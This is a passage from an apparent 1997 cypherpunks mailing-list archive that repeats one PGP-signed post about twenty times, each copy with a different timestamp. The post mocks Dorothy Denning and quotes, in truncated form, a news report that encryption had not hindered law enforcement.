iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:51:05 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010044.SAA07149@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:54:17 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010049.SAA07347@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:02:28 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010054.SAA07529@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:08:34 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010059.SAA07718@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:11:24 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010105.TAA07932@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:19:28 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010110.TAA08075@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:23:41 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010116.TAA08235@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:33:07 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010122.TAA08460@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:37:05 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010127.TAA08644@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:40:35 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010132.TAA08838@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:44:26 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010137.TAA09057@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:48:23 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010142.TAA09265@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:56:26 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010148.TAA09479@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:58:15 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010153.TAA09635@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:03:58 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010158.TAA09804@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:08:54 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010203.UAA10017@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:16:50 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010208.UAA10219@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:20:58 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010214.UAA10369@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:27:25 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010219.UAA10618@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

